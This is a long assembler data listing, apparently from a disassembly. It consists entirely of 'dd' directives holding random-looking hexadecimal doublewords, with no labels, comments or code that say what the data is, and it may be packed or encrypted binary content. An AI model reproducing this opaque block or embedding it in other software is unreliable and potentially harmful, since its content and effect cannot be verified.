		dd 0CE00540Ah, 6BF285B0h, 3BCAB48Eh, 0EA0767CFh, 605CF105h
		dd 71EEFCAAh, 26B24060h, 3B63C67Eh, 0AD00CAFDh,	87545514h
		dd 0D200759Eh, 18B692F7h, 0E9527Eh, 47B3176Eh, 1ACD19A2h
		dd 7B28F100h, 77D64BCh,	6F1800E8h, 0BDF8044Ch, 7303C681h
		dd 0EA4FDB66h, 95DE005Ah, 0DEB92B52h, 9B00AF56h, 60F38DB8h
		dd 13E71DACh, 0DD6387h,	8BD55EDEh, 0F7000123h, 9B85B35h
		dd 0EECB9AB5h, 185800C7h
		dd 1CC49ADh, 7607EEAFh,	4B598C19h, 7D1D4C20h, 400F0008h
		dd 0C95D11C1h, 221FDE93h, 5780FDADh, 7D0C326Ch,	4C4B1E6Eh
		dd 0D98501C7h, 0E8B6813Ah, 6600EEF8h, 7B3F292Fh, 771E1Bh
		dd 414B8FA0h, 99B9EC02h, 1A339B0Eh, 53B22036h, 11418AAh
		dd 8352A435h, 0D87D91CFh, 2B3CB1DDh, 0F6EC8090h, 6ABCA1F7h
		dd 0B84C00C3h, 0FDD36EAFh, 0E900F0E8h, 84A88642h, 92CA99h
		dd 9C2A6F68h, 0AE103881h, 8040A53Bh, 6EE29E67h,	0EF8E839h
		dd 0D1DE602h, 0F08224E0h, 0DC00D8E0h, 0CCEF9148h, 0BC5E95h
		dd 0B4986C66h, 76B310C1h, 1E749A00h, 0B05A0371h, 65AE00E0h
		dd 8DA64372h, 0E60F63A8h, 176AB404h, 0FB1EA200h, 720AA6Fh
		dd 49867823h, 0D8FA501Bh, 0DD07E6D7h, 0D309B597h, 0E06E6Fh
		dd 2A7896F5h, 0AB3C00C1h, 0B4A939F4h, 7F00649Eh, 0E8CD5876h
		dd 78B936Ah, 1EEA31D5h,	0B4AE0130h, 89E7D414h, 849FCB05h
		dd 69C1E8B8h, 0FD70C152h, 82600124h, 799DC7EAh,	0D7A8E3C8h
		dd 0F4E30335h, 9971054Ch, 0ABD28800h, 0ED1C7FAAh, 1F4E0048h
		dd 0E1045817h, 6D03CBEFh, 0A2423BEBh, 0BC9CF040h, 0D7010095h
		dd 3FB54DECh, 4A002516h, 730BFE46h, 485779h, 1590D1A2h
		dd 27E8BD95h, 5F6DD003h, 0AF187377h, 4CF48730h,	0E1C20019h
		dd 0BA530660h, 0B82C8A4Bh, 7C0036E0h, 0A08B7E22h, 81C1005Ah
		dd 0C20D64D5h, 0C900A424h, 82221012h, 3F99C3h, 8BDABADh
		dd 6675CEC6h, 0EF5D6000h, 388407Ah, 7E7600E1h, 0E34CB86Ah
		dd 0F40046A3h, 0DB1088Eh, 5F18F6h, 865EC3ADh, 0A4D84988h
		dd 0E8E0FE79h, 6EFAAFEAh, 0B8F5973Bh, 38D8032h,	0E4F6D274h
		dd 0FE510049h, 4E3B14C5h, 0AD000D6Fh, 0D8EC2FD5h, 8B86A9h
		dd 0DE1A8F32h, 11A7E4B9h, 95CE3Ah, 34A3249Ah, 1DC968D9h
		dd 0C0920C1Dh, 26D25B9Bh, 1F00376Ah, 20017727h,	176535h
		dd 0D67321BAh, 6942D2ACh, 11893800h, 2DE99EA9h,	0B1797Fh
		dd 0F152A0B6h, 95D34BE2h, 0A6788298h, 230E7C01h, 0E0C174D0h
		dd 0E0CCB13Bh, 0B700B15Fh, 1B663105h, 98D55C34h, 0EB100100h
		dd 9E082BECh, 2593E851h, 0A1C85E1Eh, 531CD000h,	0CB8381h
		dd 911E8AE8h, 1155D7DBh, 3F3395Ch, 0B51C5B43h, 0B803F817h
		dd 331F663h, 0A529E40h,	2FD03630h, 1CE02697h, 3566200h
		dd 6149A16Ch, 4A7D00BEh, 5FE36080h, 0C53BF776h,	6EC28029h
		dd 7AD1D796h, 22CA00E5h, 0C6796173h, 170058FDh,	26AB2F0Ch
		dd 0AC315C9h, 0FA661631h, 11E17D7h, 84E6C7B0h, 2D7BFC9Ch
		dd 9340B40Fh, 0D17260DBh, 5B176Bh, 0D7E24B1Ah, 0B6314FE0h
		dd 13DB1400h, 0B352A9EDh, 0D4A0344h, 0DFD43667h, 3BA2DDD0h
		dd 6E094D00h, 8119D0D6h, 2EA90AFh, 0C9960EA8h, 36419DECh
		dd 0C7383031h, 0A9267700h, 0FC94B9D2h, 866C007Ah, 3174107Ch
		dd 601F6E5h, 15D2D7B0h,	0F0CB5071h, 16D1F5Dh, 197D2055h
		dd 0C0AB6B60h, 0B030DE9h, 956AA64Bh, 0DED3C037h, 7D5D0F73h
		dd 0CC6061F5h, 2A62190h, 8E27A539h, 41B4527Bh, 7945BCE6h
		dd 7A06CCh, 6F1F2A23h, 5B918228h, 0C343D600h, 0B3F38797h
		dd 747B8Fh, 0EAD5186Ah,	194981DCh, 593E2400h, 5E285C70h
		dd 261002CFh, 57AFAB6Dh, 39AD61C0h, 7D006677h, 0FEE1256Ch
		dd 8DB675h, 72849889h, 9F43EBA5h, 3437C900h, 8FF24FEEh
		dd 0D5A700B6h, 13241A32h, 8D742026h, 68315400h,	0A7C7D2D9h
		dd 8F34047Eh, 0C0F9639Bh, 0B396776Dh, 0D3DFF4E5h, 8400097Dh
		dd 6AAFB7E3h, 3A5CCD87h, 64BC7889h, 668C6F02h, 36C375A5h
		dd 50F33083h, 76958B8h,	10D8E500h, 6FA8666Eh, 3B250034h
		dd 0C017E7BAh, 6100AD76h, 996B7432h, 2931F6Eh, 21C7DE23h
		dd 0CCE0CEC3h, 901F1A35h, 2C00DF70h, 68DBBA01h,	0D643007Bh
		dd 7296D47Fh, 0CD001116h, 52413F3Dh, 7DDC2062h,	0AB500FCh
		dd 0C536A14Dh, 0CE720F07h, 33F78400h, 97588FD8h, 4611D35h
		dd 0C0950008h, 2F55629Bh, 40F85300h, 3003C53Dh,	79A0011h
		dd 37A35443h, 7D000104h, 9479B6FFh, 688CD9h, 4957E70Eh
		dd 61D27207h, 3EF55500h, 0EBB85187h, 6CA10027h,	0EA598F45h
		dd 0CB00D302h, 0E66FF70h, 70D0D851h, 2BBB4CA0h,	0A5CD9900h
		dd 5CA7E5FBh, 0EE9FA600h, 7DB77091h, 39500151h,	1FCEE677h
		dd 0EAA2D461h, 0BBFF9D01h, 0D91DE0B9h, 1EF27ACCh, 0FCD0930Dh
		dd 5D389A00h, 66F74483h, 7578400h, 2143BEAh, 7285004Fh
		dd 0EF7BFB9Fh, 50023E9h, 11F465EEh, 2AD0BAh, 86AC8CF5h
		dd 0A51A2250h, 0F648BC00h, 8ECDA387h, 94EF00ABh, 6FC795F1h
		dd 0B1F8922Bh, 0CEB26D00h, 0D11DC19Ah, 0A9080046h, 7D292233h
		dd 5C005A9Eh, 43E51AC8h, 8B2CB1h, 6B487BBBh, 0D67E87B8h
		dd 7F2B5C00h, 39C235F3h, 65EF0099h, 8F6E3C5Ah, 0BF02FE72h
		dd 16AF5D2Ah, 9CE9E0C1h, 5EF200C6h, 96FBD9BAh, 77007353h
		dd 419D6740h, 4B984Ah, 0E3820823h, 2EABCEA0h, 0B289B900h
		dd 9BC63CBCh, 0D22B0016h, 0CF91CC93h, 3503FA08h, 183DEDDh
		dd 95809836h, 0B4BD006Ah, 64220A11h, 0A800BCE5h, 72AE7EE0h
		dd 3DA62E70h, 76A951h, 225219B6h, 96A04F25h, 8412FB00h
		dd 0DB989EFCh, 87D8002Eh, 5FA8995Dh, 40002DD5h,	12684980h
		dd 3B2FBCAFh, 529E97A2h, 6D1B000Dh, 29CAD2CEh, 0D144DF2Eh
		dd 5B8F2500h, 0B4ACE0h,	9DCF0CEAh, 0CD853EA7h, 0DD17A300h
		dd 8399DB2Dh, 8BE271h, 981655A9h, 7715EE07h, 354AD3Bh
		dd 0DA14659Ch, 0AE2CF80Ah, 6F7638F6h, 29273900h, 7A3B21BCh
		dd 0C6CD0B00h, 18CE7CC7h, 0EF150377h, 17E027AFh, 5BF158F0h
		dd 7008FB00h, 0D214F9D7h, 3FB100A9h, 7BF4C8A1h,	9D002DA3h
		dd 98549519h, 5568EBh, 5FE1842h, 5C6DEAD6h, 7743BE3Ah
		dd 0D8713F07h, 0E190DCF8h, 26A14B12h, 0D5AD33h,	6B5ABFE4h
		dd 22039008h, 5E1C057Bh, 0EA55C894h, 0AE463986h, 81747880h
		dd 0CEFD73D1h, 685CD900h, 9451B822h, 64BD003Eh,	0BCB6EAEh
		dd 0BA00E1FAh, 0EFB5ABE4h, 37C9335h, 1FA2FB86h,	0FEE0CD50h
		dd 6E01C903h, 0FAAD41C0h, 0A0FC4004h, 69F40345h, 85E36DACh
		dd 67DB54A8h, 0D4F57207h, 270183B3h, 11F00281h,	9C8E00CFh
		dd 63EFE3EAh, 73009ABFh, 189FA41Fh, 20CDD4h, 0A826D5A1h
		dd 78DF34CAh, 0DCA5D125h, 7A5300EAh, 0BB1BB3B0h, 0DD055D00h
		dd 0CD7F58BAh, 0EBD9007Eh, 0A8425AB7h, 0E5484F21h, 8FD600B2h
		dd 27BA1A1Dh, 0AD570033h, 63E60330h, 1E78DD23h,	0B20A5C00h
		dd 5364D45Bh, 3F87FA09h, 0C2807014h, 0EFB8E319h, 0C8049CBDh
		dd 0FDF5D4A9h, 80CAD6C3h, 3CA8F6E1h, 6A00579Dh,	5F1D71DFh
		dd 94009785h, 23FAA0C7h, 5120BBh, 34339B61h, 9CAAEE17h
		dd 48113900h, 0E7C0E638h, 73D72CCh, 0FEB9C8CFh,	990009FCh
		dd 11C2731h, 4D00A6B8h,	28AA7678h, 8059E6h, 67D4D3A8h
		dd 0BFF31F5Bh, 4975C100h, 6F28BE7Fh, 0F1150048h, 5B91A9Ch
		dd 60951483h, 190B18h, 3D94E1C3h, 22244533h, 38EC4C7Bh
		dd 98DEF700h, 0F1BE4A7h, 0A5940003h, 0DA2144CDh, 310357ACh
		dd 425D56C4h, 0A87198D4h, 0A04D07E8h, 70839186h, 62FA0F38h
		dd 84EA9700h, 5FDC9CEFh, 8F5500EEh, 585E8131h, 8007364h
		dd 0F713EB57h, 1D02F543h, 0A4C3D9h, 16FD1262h, 4F75C94Ch
		dd 99B9FA1Fh, 0F652E2C1h, 27FC1AA4h, 19A80914h,	0A5801C0Ah
		dd 3CE267BDh, 2632FC00h, 0DE720529h, 0CC07005Eh, 7551EDCEh
		dd 0DF01A898h, 47DB79E3h
		dd 92D822F3h, 3C0C0086h, 0B30FF918h, 7C00CC7Ah,	0B6F6B5D5h
		dd 0BDED21h, 0FCEAEF97h, 7FFBDEA4h, 0B90B7800h,	0F688DFB8h
		dd 0CDC2032Fh, 0E936A07Ah, 105FD2B0h, 0FD545B00h, 6D3559Dh
		dd 0D7440093h, 0B9D90C95h, 0E900D108h, 0AD9C2EA7h, 0BBF886h
		dd 5F854404h, 6DB503A4h, 4F7E591Dh, 47E3DE81h, 52C07A8Eh
		dd 7B77005Fh, 0C718A3C3h, 0DD005B2Eh, 0EBD164Ah, 0F84DCAC0h
		dd 0B6103E1Ch, 73504080h, 1A55FDD9h, 0A06E6800h, 7224E067h
		dd 0F4BD0006h, 16D930A3h, 63028CE6h, 0F909CE5Fh, 49D2E064h
		dd 4140007Ah, 1E66364Bh, 79001AA3h, 0E727F8Bh, 0FB08655h
		dd 0DBA43B95h, 80576D27h, 709606E7h, 2A7140B7h,	1D660759h
		dd 6142E234h, 0C8DD885Bh, 3A0018B0h, 7851BFFFh,	0E44604h
		dd 4AA2F244h, 7AF57C6Dh, 97005BEAh, 0E2040D5Ah,	0B527E0h
		dd 4DA301A8h, 0DF883406h, 0FDC26D00h, 8255071h,	0F0390276h
		dd 8D1AD877h, 0A73ABBC0h, 5EEDF700h, 0D13FB5E1h, 0FA7B03CDh
		dd 0E6512519h, 0D87AE9E8h, 0A4D2A128h, 0E58FB103h, 0A069D0BDh
		dd 0CBA7C8h, 0EA47C2B4h, 1DBEFA63h, 0A08CC100h,	0D7C5E23h
		dd 0A3FC8Fh, 0DB2A87C7h, 0A4583E9Bh, 6D157401h,	0B96394D9h
		dd 1C7D89F8h, 402CA27Fh, 9EEEBAB3h, 1E1DD712h, 91008FCDh
		dd 3FF85F65h, 0F81004Dh, 0EB672B51h, 0F700826Bh, 4197C4DFh
		dd 7AB1223h, 4914586Fh,	0F52CF077h, 8100BA56h, 73BD0AAAh
		dd 1FD9A023h, 0C0A88D4Ch, 8B95D692h, 11764EA3h,	0EF77FE0Eh
		dd 4A83C16Dh, 0BDEDD2AAh, 0EB13AF8h, 445C355Dh,	0A0B84300h
		dd 0F600396Fh, 62401CE9h, 0C0B965EAh, 5741D210h, 0DC0151E7h
		dd 2C1FBB7h, 3AF021E4h,	7CCF00D4h, 481EC2F6h, 0D0000D8Bh
		dd 15EFFA89h, 9774EDh, 92D12317h, 57272ACCh, 9B2D1B00h
		dd 0BBB2E41h, 0C45A6075h, 0FD288602h, 11134C00h, 73B9392h
		dd 48517F0Eh, 5A00982Fh, 42AC57C8h, 0DE73B4BAh,	0BC00177Fh
		dd 96C58EC9h, 0E86EFAh,	0EEC09B24h, 8823D154h, 91122C00h
		dd 59630394h, 8710006Dh, 0D2BC4F6Ch, 0FF01442Fh, 5E1E1653h
		dd 1DD82955h, 0A8F2E0h,	4DF0A434h, 0BB08DC8Ch, 50438900h
		dd 153C37FDh, 0CA600A1h, 0F164546Eh, 4B00C87Bh,	0E551382h
		dd 1355AE4h, 6FB52EE3h,	0C0D82FB2h, 0B170938Eh,	72F97402h
		dd 40988DD5h, 540722h, 7F7C4857h, 20863D12h, 2F01AE72h
		dd 4E2D56E9h, 2EE4C6EAh, 67FE21h, 0FA864FAh, 79BCDD3Fh
		dd 0BC3B093Bh, 12E38035h, 0C9488FBh, 0B3800029h, 0B66CDCEFh
		dd 0F30022D7h, 0A6BAF7C1h, 5C83BBh, 43B8793Fh, 59AF0D0h
		dd 0DC288100h, 66861E04h, 91300051h, 0B498B0DBh, 0FA0324E6h
		dd 92C658FCh, 0B8E4EB8Bh, 0D05D17h, 9FC87ACBh, 89ACB741h
		dd 45A8E300h, 0D608FC27h, 1E21E6C6h, 4E5A3664h,	4BC0224Ch
		dd 3F54A366h, 4ADF8400h, 3D421743h, 3110F32h, 0F9E4E0BBh
		dd 0B4C0EB7Eh, 0F49059Bh, 0F84F0C28h, 80BB1A20h, 8A17C33Fh
		dd 0AE004279h, 0C181EA73h, 679048h, 56B02EB1h, 0ABA50935h
		dd 3CEF1600h, 73760221h, 4C110E7Dh, 42BF2F14h, 0DF4A1007h
		dd 52F4405Dh, 0FB5A01DCh, 6B63BC9Bh, 92C5F85Ch,	446760Fh
		dd 7B21800Fh, 9E85B0h, 31BC2BD6h, 0AEF1E34Fh, 9DDA0B00h
		dd 5EEA0E89h, 0F2487449h, 0DEE0087h, 0C6612D0Fh, 1707B6C2h
		dd 0FDCC4329h, 0C02F80FFh, 2E4DEB45h, 0E919B2h,	477AE7D0h
		dd 239C9ACh, 0E2EF1DE9h, 2FC6F480h, 1BE673Fh, 49C5275Bh
		dd 0C03C8E96h, 0F40FA10Fh, 0A053DE2Ch, 89AE7FFAh, 0B25600E1h
		dd 0AF457EE7h, 81007828h, 80E294A4h, 1DFF9Ch, 1127046Dh
		dd 6F5905Ah, 8E0003F4h,	535C56C3h, 2DFDB1h, 8AE1C186h
		dd 0B2B64522h, 85A37C00h, 95FF59C5h, 1821DB3h, 713C5B7h
		dd 6A870304h, 3BA02FF2h, 1C0066C8h, 1085692Ah, 2E7BCAh
		dd 3CA67522h, 39188435h, 804B1A3Ch, 0FDE1E981h,	3B515254h
		dd 5300BC09h, 7F4A5029h, 7C00FAD2h, 5E95ADB5h, 24CBA293h
		dd 36E4C63h, 0DF751182h, 0F87896B0h, 0EA61A900h, 60336457h
		dd 13170083h, 0FDC1FAD0h, 0CAFCBDD1h, 9ED6220Eh, 0F7264154h
		dd 4AC8D38Ah, 460B1D0Ah, 0A017C2h, 0EE829514h, 3C005A76h
		dd 74E98C32h, 6B7C38h, 0BD2E0106h, 4E306D14h, 83265100h
		dd 2135E2ACh, 49091789h, 0DDE30092h, 0A3FF6EA0h, 80266B38h
		dd 0C57706E6h, 3A8D2382h, 6C84BBD3h, 0C1143139h, 80FCE00Ah
		dd 886B3DCEh, 9BC929Ch,	6D87AE47h, 0DD264580h, 0E8003964h
		dd 10624EA1h, 5721E40h,	0FCA4BD9Dh, 2DE7826Bh, 5080A189h
		dd 0B2B005A8h, 5971CC1Eh, 0D507B642h, 2434C04Eh, 16012E63h
		dd 0B8420BD6h, 21724380h, 0E377F711h, 453BA5FAh, 0A9C9806Ch
		dd 8EE21A0Ch, 41B900F9h, 4CAE448Ah, 0A600677Eh,	0CE9A526Bh
		dd 0A1480h, 444A9396h, 0F534B6D1h, 58175301h, 0AAB42177h
		dd 0D4F4EFE1h, 7AB189Ch, 0DB980492h, 17A1B700h,	33632AEBh
		dd 0C5D70014h, 0B3F24ADAh, 78006DFCh, 1D8E7310h, 252801A1h
		dd 7F5C75ABh, 3DA00B00h, 0A74436h, 60F7CEA6h, 28D3225Fh
		dd 0F86DDB00h, 9D8279A1h, 3772000Dh, 690B86DDh,	2C1C4645h
		dd 0C880A356h, 0D8C6B9CEh, 0A96E0E36h, 0E360A46Ah, 0EEC17A2Ah
		dd 8044433Bh, 13653D6Bh, 0E0CADA3h, 8A895E32h, 95ACC61h
		dd 9EB2E8D9h, 8E242900h, 9CA85905h, 82D748C8h, 74822800h
		dd 0E99160C7h, 38B0F00h, 381DAE5Bh, 708079Ch, 0E00DAAD8h
		dd 145F0CCEh, 0CF7C6B05h, 30C0A3FDh, 0B884122Dh, 3D9C0015h
		dd 201DB2BCh, 0C001EEE3h, 5D625ACEh, 98407579h,	504774h
		dd 0B6938083h, 4205C0BEh, 3E0AE100h, 82453960h,	63A171Bh
		dd 740F0094h, 1824E040h, 22C14D00h, 0CBE1A6Fh, 246F88Bh
		dd 0E32A757Fh, 0B783A234h, 71E07365h, 4C72B828h, 0D9C33C09h
		dd 0A55880B3h, 1C377A17h, 83032F81h, 0BB5D5F3Ah, 397C0CE8h
		dd 0BC9EF100h, 3FB8E8DBh, 48E40021h, 3B362EA9h,	90005C4Dh
		dd 0D8671B89h, 385F986h, 9D609EECh, 0A3F88C33h,	13003A25h
		dd 0CCB77629h, 7C448DEh, 9FDB2DB5h, 62EAE095h, 3F3AD5A5h
		dd 0DA75876Bh, 7F90068Eh, 1C9F67BDh, 0C08D8A40h, 0EFA45189h
		dd 82C770Fh, 2A0370A5h,	0B0D8B6AAh, 38873FF5h, 9804D522h
		dd 0EE142891h, 41E37D00h, 53BCE1h, 452DE4DAh, 0D1395E5Bh
		dd 0A7226A00h, 7B052790h, 0FF800F69h, 0A14004E2h, 0CC9D8899h
		dd 0CD44D803h, 87247EF4h, 0C7C00865h, 1C1E8EC1h, 805570DFh
		dd 28205F7Ah, 4600B73Bh, 0A380238Bh, 1F117FEh, 1A182D2Ch
		dd 605B05F8h, 3D000FECh, 3F62DC33h, 50F409h, 11487393h
		dd 7ED32712h, 0F5B96B3Ch, 26C00200h, 0DB294B66h, 36739Dh
		dd 0B4F9B10Bh, 8A88C11h, 0BE0CB000h, 78F4D376h,	0C2F0074Ch
		dd 0F0442EB9h, 0BC80B6ADh, 0A64D5400h, 0C86758B2h, 30BE09Eh
		dd 6F841B9Fh, 97E9920Fh, 9A20F488h, 80F7D43Bh, 318E71B9h
		dd 434F78h, 46F45BD8h, 0EF9F8AA8h, 0CF513800h, 888765DFh
		dd 11E91D92h, 0E43F8054h, 23D450F2h, 82B1301Fh,	0D64FF083h
		dd 0F5A8D9B8h, 0E7655F4h, 19457814h, 66D4C40h, 6300C827h
		dd 264015F4h, 9DD497h, 0FA3413E7h, 585CB49Ah, 429FB900h
		dd 0B6E1375Bh, 81320FD4h, 805DC488h, 0DE763871h, 94007FBAh
		dd 4DD2651Fh, 0E22692Dh, 0F2C21347h, 7CCB25A0h,	9D01EDEAh
		dd 0D95F8F2Fh, 59C93586h, 0A81F60h, 8C632816h, 0FA0AD249h
		dd 0C6483130h, 0F93538h
		dd 91DEF1AAh, 4FFB4CE2h, 0C8CA3Ah, 2FC7C15Bh, 0D48429h
		dd 0F4DCA59Bh, 33BA4D9h, 97B3FD00h, 23CA7DE0h, 57E20Fh
		dd 8818480Ah, 4BDA3C37h, 0C03257Eh, 0FEC8606h, 0FFDEB853h
		dd 6EA20975h, 6080BD23h, 62C92BC2h, 5E04950Fh, 0A727A015h
		dd 244FC553h, 0B3592Eh,	0B2C0C787h, 0E900FD7Ah,	607FE2BBh
		dd 0FF8BD35h, 12848BDCh, 0D899D5E0h, 0D407C771h, 7DECCC86h
		dd 0A40CF40h, 533300F1h, 6A2AAB2h, 1E0F754Ch, 0DE31FDh
		dd 0A8129883h, 0E3260003h, 0BB840DFBh, 74095AA4h, 8E6E563Ah
		dd 8C1F8357h, 76600778h, 0BF8194B6h, 0ECDF3740h, 310F5408h
		dd 7D9A9BF9h, 0A2D06980h, 153226h, 40A0CF6Bh, 866362DAh
		dd 8E350F0Eh, 0E60560F4h, 3AD19F0h, 47905D73h, 14D044EDh
		dd 91EDECEh, 17C79A81h,	0E070FFE2h, 0D3A2B2h, 0FB46EAF7h
		dd 8F34BA3Dh, 0F8E98E02h, 7748372Fh, 0C081AB84h, 0CA2AF06h
		dd 0C3C9AD00h, 0BDBF1A6Dh, 69720703h, 50B93CEFh, 1E7F983Ah
		dd 7F7D2D58h, 569A4000h, 50719C9Eh, 0BB7D5Fh, 0D0096F9Dh
		dd 0F110BEEEh, 16724600h, 0A32106E9h, 4C310061h, 5D99D67Fh
		dd 8301893Bh, 0EF5AF6C1h, 877EEBC3h, 7406C019h,	70B0CD09h
		dd 891DDC00h, 2D133378h, 0FC6B00A5h, 653355Ch, 0C3005D36h
		dd 58FD2C14h, 28ECB8DEh, 0FE4C8F9h, 231A5B79h, 1223EB6Fh
		dd 0D0809FF3h, 6100C69Ch, 0FD504013h, 0CC606Bh,	63441C2h
		dd 0E4260762h, 28002CECh, 827CD615h, 0D78F0Dh, 6368CA55h
		dd 4183F116h, 0B81CF700h, 0CDCB853Dh, 0E4B50049h, 0E3D65AD7h
		dd 0F400BA88h, 0CE0239C8h, 71A2911h, 0E049454Eh, 631FE382h
		dd 0C0E4BDC9h, 0EB0E0523h, 20BF7458h, 0F4F39913h, 0AD87001Fh
		dd 9BB2CC34h, 6A008415h, 0FAB96664h, 2F1946h, 1F02FD4Bh
		dd 0C4D0F30Ch, 32EA2400h, 809372F9h, 74800B6h, 0E1B8D73Fh
		dd 8D090D4Ah, 0C2233Ah,	49860EFCh, 504B0019h, 994A62A6h
		dd 1500662Bh, 65E74E6Ah, 0E4CC0Fh, 605DF70Ch, 0C7B7D97Ch
		dd 6A993Dh, 0B5362780h,	0E0DBE628h, 7E1B00C3h, 1181574Ah
		dd 9A0305A7h, 0CE592A45h, 0B36FD843h, 0F33700A1h, 0F80E659Ch
		dd 0F71F8D85h, 0FB41536Ch, 9EBFEB1Dh, 6E3062F9h, 67F46Bh
		dd 0CA77A1F4h, 73844606h, 9EA6E300h, 32F93EC8h,	241707D4h
		dd 901BBF26h, 0F575C007h, 6154100h, 2A485376h, 36990030h
		dd 529A7B26h, 0F1005773h, 14910642h, 3879B180h,	0E2803904h
		dd 48A1336Eh, 0E3002DDBh, 3D978356h, 0E69193D5h, 0F26F7FA5h
		dd 0FD270068h, 493E5437h, 0F93D02FBh, 7C010AF2h, 19008803h
		dd 265236BAh, 790500B7h, 4F9094FCh, 0E002B87h, 383087Ah
		dd 724C0950h, 0B3A90019h, 0B66B560h, 0B100FF75h, 0F04F9B43h
		dd 0B9FD02h, 0B8053869h, 0D5AF44A9h, 3AA84E09h,	818F8FC8h
		dd 169271E7h, 1DA1C1F8h, 40D0E9BFh, 33D3A59h, 6C00B647h
		dd 8CFA2A1Fh, 0A1F2ACh,	921A6E17h, 0CD3BAF58h, 4E50151Eh
		dd 4DF3DCC0h, 280F894h,	71F5420Fh, 1DC0A9C8h, 8C00CA72h
		dd 0F0D788F2h, 7A7AF68h, 9B2334FBh, 8275A5EBh, 5361823Dh
		dd 81268038h, 9D27ACA1h, 68C0000Eh, 0CDCAB9CEh,	60000D89h
		dd 799B995Bh, 601B9AFFh, 0CBC1E26h, 63001C0Bh, 22589D8Ah
		dd 0F44FB0C8h, 0D2E30088h, 97EFC635h, 31135643h, 3C010463h
		dd 0F0A2B886h, 0EBD9FD0h, 0F95E9A2Bh, 0D597E9A0h, 6F07216Dh
		dd 0C9076C7Ah, 0D0991820h, 5C175C58h, 2DD93700h, 2AE0B2AAh
		dd 1F27A900h, 620F10A1h, 8C7B1C6Bh, 44780086h, 0DF8FD0D4h
		dd 2200FA98h, 0C789A648h, 10A9B1Bh, 8C3DAEFBh, 0F4CB0E23h
		dd 393B69E6h, 8542002Ah, 0AF30C9BFh, 0F68800EEh, 0ECCAC696h
		dd 2F0E1101h, 0FF0A3358h, 0FB2B17C1h, 0FCE9D706h, 9C482E1h
		dd 3B6E0E12h, 0DFC36323h, 20887680h, 300D98Bh, 46131079h
		dd 3A7990Eh, 0CC81ABCAh, 0FDA8B06Eh, 4701E157h,	9E427A3Eh
		dd 0C6308BB1h, 3011307h, 194E0937h, 1AB2C300h, 6E07AF2Fh
		dd 4EAC962Eh, 0AB855F40h, 87583A62h, 0D590F6h, 74077D56h
		dd 9FAA3A6Dh, 0C5077E74h, 0E267FD5Ah, 99395C40h, 0CE7B3C82h
		dd 0EDA0200h, 8DA8BA6Ch, 0DEC37C00h, 792BB5E5h,	2847001Ah
		dd 0BCE29BBDh, 0A305EA65h, 0D4525894h, 9F857AC0h, 7E790012h
		dd 87814D5Fh, 29E2264Fh, 0E400DAE2h, 5878941Ch,	0B0E0F17Dh
		dd 75FA003Ah, 0A649F7A8h, 2603D71Ah, 0BEA143A2h, 0EA27C032h
		dd 0F70A00FEh, 759EA518h, 0A200A0C7h, 0FC911C67h, 8A4E82h
		dd 2F3A867Ch, 875B702Eh, 2400487Eh, 2A9D6EEh, 623390h
		dd 2A0D6011h, 49D9E39h,	485FCB02h, 0C0E93596h, 244FAB2Eh
		dd 537F231h, 80A03069h,	28666E44h, 62951600h, 89ED2F38h
		dd 0E652F86Bh, 9F3107B9h, 0F36E8510h, 0B8F255C8h, 45893E0h
		dd 0DB7E7707h, 6D700584h, 26AB87h, 9AED3E33h, 50FA5A7Bh
		dd 0E2A2B600h, 3BF24A25h, 8DB90036h, 60D6B807h,	0FE008320h
		dd 0D876517Eh, 7FD710h,	5D21B1D3h, 0B95C4F74h, 7684D00h
		dd 3AD447A2h, 0A0640016h, 2B4EE155h, 0AE00352Ah, 0A7EAA6CFh
		dd 134AAA4h, 166B4A3Fh,	70EBFEEEh, 0E009C12h, 0B8D351DBh
		dd 2B21E8h, 327F8254h, 7DADEC98h, 6E3FA37Ch, 0D5859355h
		dd 615FDF1Fh, 0C35F8B40h, 0B9B390h, 0A4AE9528h,	9FE37681h
		dd 5B35A603h, 0A8F15C66h, 0E061FFAFh, 0B3E08Ch,	453E4B12h
		dd 0C567D0CDh, 1E008FE4h, 0D7EF3187h, 3BA7Ch, 52557B06h
		dd 0A0BE9DB7h, 3F74A53Ch, 0B4768082h, 7F048B72h, 0E9F83CFFh
		dd 0E00FE3Bh, 886AABB8h, 0DD0E21D1h, 0A05777D9h, 6C05F3B2h
		dd 0E4CB002Bh, 55B938FEh, 600B39Ch, 9F7E3742h, 140185h
		dd 0E2628A23h, 52B613D5h, 0CCBD1900h, 0B28E48C9h, 7093006Bh
		dd 4BED53E5h, 6A004926h, 8C2C3C7Ah, 0E7219FDh, 25AC943Fh
		dd 51C0972Eh, 0C622BC5h, 0EA21026h, 1AB60200h, 0D0AF08h
		dd 0AB71F9E8h, 0B27E46C6h, 6A96BF13h, 9C60D607h, 4950CD00h
		dd 25DB00B0h, 6329622Eh, 0A2003124h, 0C2E7CF12h, 0EE4A01Ch
		dd 78D9D66Fh, 0C0338645h, 0FF749F1Dh, 710072EEh, 793C6C3Bh
		dd 7B3681h, 56BE93A7h, 0E5ADFFC6h, 0C52EB600h, 66F44DFBh
		dd 862800EFh, 0AE573B2Fh, 4B00A2EBh, 68D35E38h,	351971Ah
		dd 0A433D14Dh, 7DC8F53Dh, 70038DC5h, 6321B685h,	0BE36801Bh
		dd 90763E7Eh, 2514A680h, 91EFD3C2h, 0CC31E800h,	522F3C44h
		dd 0D6C09DF8h, 1B1DFDEEh, 0A6807BB2h, 0E2182028h, 61723924h
		dd 0E088C403h, 58981A14h, 9000B241h, 3643213Eh,	0FA0AD8h
		dd 93420115h, 0EF9D40A9h, 0B900C578h, 52A77C19h, 123B80h
		dd 4AC01FDDh, 0F01ADA16h, 0ECC86700h, 70BBE71Bh, 0F7210036h
		dd 359D9404h, 22002C9Ch, 7A3748Ch, 50D14h, 1EF4FBB2h, 969BEBFFh
		dd 43D8491Ch, 2B2E2440h, 99A668h, 0DFE63676h, 0B7BF18A8h
		dd 73613500h, 0E149B207h, 0C9C54887h, 0C0AF4B1Eh, 31FA5306h
		dd 0F90048D5h, 0AD820E12h, 2BD99Ah, 0BE61A3E3h,	50DB01EBh
		dd 4592000h, 0F277F76h,	0C767015Bh, 0C49E0544h,	0E1BEC81Ah
		dd 8714151Dh, 294362C0h, 853888h, 0F9259B08h, 0C6453301h
		dd 91034C73h, 0F14F5DFDh, 78CE9019h, 0D0DF00C2h, 8718D52Dh
		dd 440376C6h, 2EFBC759h, 8E3BA8B2h, 53AD0029h, 4C936526h
		dd 52EC420h, 0BE00B45Dh, 4FB16CAAh, 260E0098h, 0A928E473h
		dd 0AF3BCAFAh, 2BD80D2h, 65434C0h, 93264C92h, 29812003h
		dd 7FA87D60h
		dd 83006287h, 921E142Ch, 3978FF01h, 43013294h, 429C4718h
